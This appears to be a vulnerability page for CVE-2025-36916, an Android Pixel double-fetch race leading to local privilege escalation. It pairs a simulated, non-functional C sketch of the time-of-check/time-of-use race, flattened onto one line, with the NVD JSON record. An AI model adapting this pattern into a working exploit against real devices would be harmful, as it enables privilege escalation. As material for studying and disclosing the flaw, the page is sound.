CVE-2025-36916

// CVE-2025-36916 PoC - Race Condition in PrepareWorkloadBuffers // This PoC demonstrates the double-fetch race condition // Note: This is a conceptual PoC for educational purposes only #include <pthread.h> #include <stdint.h> // Simulated vulnerable buffer structure struct WorkloadBuffer { uint32_t flags; uint32_t size; void* data; }; volatile int race_triggered = 0; // Thread 1: Modify buffer between checks void* attacker_thread(void* arg) { struct WorkloadBuffer* buf = (struct WorkloadBuffer*)arg; // Wait for first fetch to complete while(buf->flags != 0x100) { // Spin wait } // Modify buffer between checks (TOCTOU) buf->flags = 0x200; // Elevated privilege flag buf->size = 0xFFFFFFFF; // Large size race_triggered = 1; return NULL; } // Vulnerable function - PrepareWorkloadBuffers int PrepareWorkloadBuffers(struct WorkloadBuffer* buf) { // First fetch - check privileges uint32_t check_flags = buf->flags; if (check_flags != 0x100) { return -1; // Reject unprivileged access } // Race window - attacker modifies buffer here // Second fetch - use value (already modified) uint32_t use_flags = buf->flags; uint32_t use_size = buf->size; // Bypass: Uses attacker-modified values if (use_flags == 0x200) { // Escalated privileges granted return 0; // Success - privilege escalation achieved } return -1; }

{"cve": {"id": "CVE-2025-36916", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.143", "lastModified": "2025-12-12T17:27:43.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In PrepareWorkloadBuffers of gxp_main_actor.cc, there is a possible double fetch due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}